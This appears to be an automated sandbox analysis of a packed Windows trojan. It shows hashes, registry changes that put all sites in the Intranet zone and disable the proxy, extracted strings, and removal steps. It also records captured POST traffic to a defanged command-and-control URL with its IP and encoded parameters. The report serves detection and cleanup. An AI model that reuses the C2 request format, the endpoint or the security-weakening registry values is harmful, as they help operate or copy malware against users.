MD5: 11b6f99bcca6534e1150d6faed3dfa33
SHA1: b08d1b01d1687b302aacba234ab70c1d8a063914
SHA256: f35cc66cf97f4f01bc85fc681e44672e003ae28164fde8238720a3ea1983693c
SSDeep: 49152:gMoHklyF9y3lG410mrZvJgJis96/tIEEVu:Wh9y3lG41frZvJgYsU/dEA
Size: 2027520 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: Softonic
Created at: 2015-04-20 15:26:13
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:344

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:344 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)

Registry activity

The process %original file name%.exe:344 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 DA D6 F1 7F 2F 15 C7 D0 42 B3 06 08 DD 41 54"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1276x846x32(BGR 0)" = "31,31,31,31"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: ?????
Product Version: 3.2.2015.3
Legal Copyright: ?????? ????????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3.2.2015.3
File Description: ?????
Comments: ??????????(http://www.eyuyan.com)
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://zlj9.com/yz/piao7.asp	121.42.93.217

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Unsupported/Fake Windows NT Version 5.0

Traffic

POST /yz/piao7.asp HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://zlj9.com/yz/piao7.asp

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Content-Type: application/x-www-form-urlencoded

accept-languge: zh-CN

Accept-Encoding: gzip, deflate

Host: zlj9.com

Content-Length: 470

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSIONIDCCQDQATA=FJLNJGBBDADCFJMNPCLJDOEK

p=00350032003000310036003D00310035007E0051006D006E006C0063002E0071006A0079006F005C007E0033&pzdm=00350032003000310036003D00310035007E0051006D006E006C0063002E0071006A0079006F005C007E007D006B007600640064006D00750062006E&post=00350032003000310036003D00310035007E0051006D006E006C0063002E0071006A0079006F005C007E00740066006F00600069007E00210029002700650071006A0067002A0072007A007400230074006D006F0078006400230060006C006D00620064006F006F0064003A002400610064006400680064006D0020
HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 06 Jun 2015 00:05:27 GMT

Content-Length: 203
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"vv.=.........wv.N.....O?......;
............N..P...........'..j....O..`.Jp...h.........,..b......

POST /yz/piao7.asp HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://zlj9.com/yz/piao7.asp

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Content-Type: application/x-www-form-urlencoded

accept-languge: zh-CN

Accept-Encoding: gzip, deflate

Host: zlj9.com

Content-Length: 73

Connection: Keep-Alive

Cache-Control: no-cache

p=0036&f=0033003D004C003200470046003B00330037003A003F0034004700460033003B
HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

Set-Cookie: ASPSESSIONIDCCQDQATA=FJLNJGBBDADCFJMNPCLJDOEK; path=/

X-Powered-By: ASP.NET

Date: Sat, 06 Jun 2015 00:05:26 GMT

Content-Length: 225
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"vv.=.........wv.N.....O?......;
............N.=.v...O..O..OO.....?...7.........a.O..G.q....{..p./.?..@
......?W...........


POST /yz/piao7.asp HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://zlj9.com/yz/piao7.asp

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Content-Type: application/x-www-form-urlencoded

accept-languge: zh-CN

Accept-Encoding: gzip, deflate

Host: zlj9.com

Content-Length: 474

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSIONIDCCQDQATA=FJLNJGBBDADCFJMNPCLJDOEK

p=00350032003000310036003D00310035007E0051006D006E006C0063002E0071006A0079006F005C007E0033&pzdm=00350032003000310036003D00310035007E0051006D006E006C0063002E0071006A0079006F005C007E007D006B007600640064006D00750062006E&post=00350032003000310036003D00310035007E0051006D006E006C0063002E0071006A0079006F005C007E00740066006F00600069007E00210029002700650071006A0067002A0072007A007400230074006D006F0078006400230060006C006D00620064006F006F0064003A00240064006A0064006D0066006200680024
HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 06 Jun 2015 00:05:26 GMT

Content-Length: 406
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"vv.=.........wv.N.....O?......;
............N..P...........'..j....O..`.Jp...h...........=p.?.......6.
c....H..=..>......S{..~..v..|...|...a,..............=....?..|...O.c
......?.......?..;...........1...?`...;.....`...;..4.w......;.......|.
|.{.N......;......w...{.;.C..gLc.....|G.......s....~..B<...HTTP/1.1
 200 OK..Cache-Control: private..Content-Type: text/html..Content-Enco
ding: gzip..Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-Powere
d-By: ASP.NET..Date: Sat, 06 Jun 2015 00:05:26 GMT..Content-Length: 40
6...............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@....
..{....{....;.N'...?\fd.l..J...!....?~|.?"vv.=.........wv.N.....O?....
..;............N..P...........'..j....O..`.Jp...h...........=p.?......
.6.c....H..=..>......S{..~..v..|...|...a,..............=....?..|...
O.c......?.......?..;...........1...?`...;.....`...;..4.w......;......
.|.|.{.N......;......w...{.;.C..gLc.....|G.......s....~..B<...t>....

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.rsrc

t%SVh

t$(SSh

~%UVW

u$SShe

user32.dll

ntdll.dll

kernel32.dll

WinINet.dll

Wininet.dll

shlwapi.dll

wininet.dll

CreateWindowStationA

CloseWindowStation

HttpOpenRequestA

HttpSendRequestA

HttpQueryInfoA

MsgWaitForMultipleObjects

EnumWindows

EnumChildWindows

configs.ini

 _14.!$6

Z8.PdR1

r%fP=

Q.RR )u

fs.xn

'g.Am

..gf`m

d;.NPz

.GX;G875

^8l.zE

.Nx?3

hXXp://zlj9.com/yz/piao7.asp

30426153

E%SO!

\\.\PhysicalDrive0

MSXML2.XMLHTTP

Microsoft.XMLHTTP

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

application/x-www-form-urlencoded

HTTP/1.1

Content-Type: application/x-www-form-urlencoded

hXXp://

pass='

N@' and pass='

,' ','0','0|0','

','3','2','

use,pass,dengji,zaixian,qq,ypid,daoqi,tjr,jubing,klxx,ip

hXXp://vvvvv1.cccpan.com

\vpncl.exe

\vpn1.ini

\vpn.ini

vpncl.exe

\1231.zip

VPN.iniMO

vpnclient.dll

.Nzl/

.exeup

^m;.oub

.szO-D

iRj%Ul

gF.VY

.nSC{|k

[.MDO\~

.xL*ga

.ly`/

UA.xQ

i7Í

e%U-R-fT

(.KJ?P

-T52}

?2D>V.fq}1

webbg.png

main.dat

vcore.dll

%f_O1L

qGU%u

z4.Bf

.jOOgeb

|J.dZ\<

".KRUY

V%c"e

|q,

*.Xr4

-0.fNOl

 iL.sq

Bpw*%f

8SQLZG`vnM

FfTPTTJLK,

|3%UPR

key!Z

K.sB{

%Xes\

=uh.ZE

\og%s

\B.hb

.oJ/U

=U.rm

=qÿ

y.RI'e5

Hy.Jy

.rB"[

sWû

~}%7s?

tmrd%U

/c%X\

s%Fv3

V.Sx3X

.hQ4H

.vMVo

.WdKf

H\m%s

nir.Hn

4%cVy

F~.nI

I%sRz

.KH=r

y).yF_

Jvu%f

*A.JS

%co>;

ea%sak

<)?%S

dVqW%D

*v`{%S

 J.vB

VPN.ini

.exePK

\main.dat

\vcore.dll

\vpnclient.dll

@user32.dll

:211074077)

%d&&'

123456789

00003333

deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly

inflate 1.1.3 Copyright 1995-1998 Mark Adler

F%*.*f

CNotSupportedException

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

__MSVCRT_HEAP_SELECT

Broken pipe

Inappropriate I/O control operation

Operation not permitted

iphlpapi.dll

SHLWAPI.dll

MPR.dll

WINMM.dll

WS2_32.dll

VERSION.dll

RASAPI32.dll

GetProcessHeap

WinExec

GetWindowsDirectoryA

KERNEL32.dll

GetKeyState

GetKeyboardLayout

VkKeyScanExA

keybd_event

RegisterHotKey

UnregisterHotKey

USER32.dll

GetViewportOrgEx

GDI32.dll

WINSPOOL.DRV

RegCloseKey

RegOpenKeyExA

RegCreateKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

ole32.dll

OLEAUT32.dll

COMCTL32.dll

WSOCK32.dll

InternetOpenUrlA

InternetCrackUrlA

InternetCanonicalizeUrlA

WININET.dll

GetCPInfo

CreateDialogIndirectParamA

UnhookWindowsHookEx

SetWindowsHookExA

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

comdlg32.dll

.PAVCException@@

Shell32.dll

Mpr.dll

Advapi32.dll

User32.dll

Gdi32.dll

Kernel32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

.PAVCFileException@@

: %d]

(*.*)|*.*||

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|PNG

(*.PNG)|*.PNG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

windows

.PAVCNotSupportedException@@

out.prn

(*.prn)|*.prn|

%d.%d

%d/%d

1.6.9

unsupported zlib version

png_read_image: unsupported transformation

%d / %d

Bogus message code %d

libpng error: %s

libpng warning: %s

1.1.3

bad keyword

libpng does not support gamma background rgb_to_gray

Palette is NULL in indexed image

(%d-%d):

%ld%c

VVV.dywt.com.cn

\StringFileInfo\%s\Comments

\StringFileInfo\%s\ProductVersion

\StringFileInfo\%s\ProductName

\StringFileInfo\%s\OriginalFilename

\StringFileInfo\%s\LegalTrademarks

\StringFileInfo\%s\LegalCopyright

\StringFileInfo\%s\InternalName

\StringFileInfo\%s\FileDescription

\StringFileInfo\%s\CompanyName

\StringFileInfo\%s\FileVersion

000%x

X-X-X-X-X-X

hXXp://VVV.baidu.com

;3 #>6.&

'2, / 0&7!4-)1#

%d%d%d

rundll32.exe shell32.dll,

HTTP/1.0

%s <%s>

Reply-To: %s

From: %s

To: %s

Subject: %s

Date: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

SMTP

.PAVCObject@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

zcÁ

c:\%original file name%.exe

#include "l.chs\afxres.rc" // Standard components

(*.*)

3.2.2015.3

(hXXp://VVV.eyuyan.com)

%original file name%.exe_344_rwx_00DC0000_0003E000:

`.rsrc

L$(h%f

SSh0j

msctls_hotkey32

TVCLHotKey

THotKey

\skinh.she

}uo,x6l5k%x-l h

9p%s m)t4`#b

e"m?c&y1`Ð<

SetViewportOrgEx

SetViewportExtEx

SetWindowsHookExA

UnhookWindowsHookEx

EnumThreadWindows

EnumChildWindows

`c%US.4/

!#$<#$#=

.text

`.rdata

@.data

.rsrc

@.UPX0

`.UPX1

`.reloc

hJK.ZH

O.qt0

KERNEL32.DLL

COMCTL32.dll

GDI32.dll

MSIMG32.dll

MSVCRT.dll

MSVFW32.dll

USER32.dll

SkinH_EL.dll

1, 0, 6, 6

- Skin.dll

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.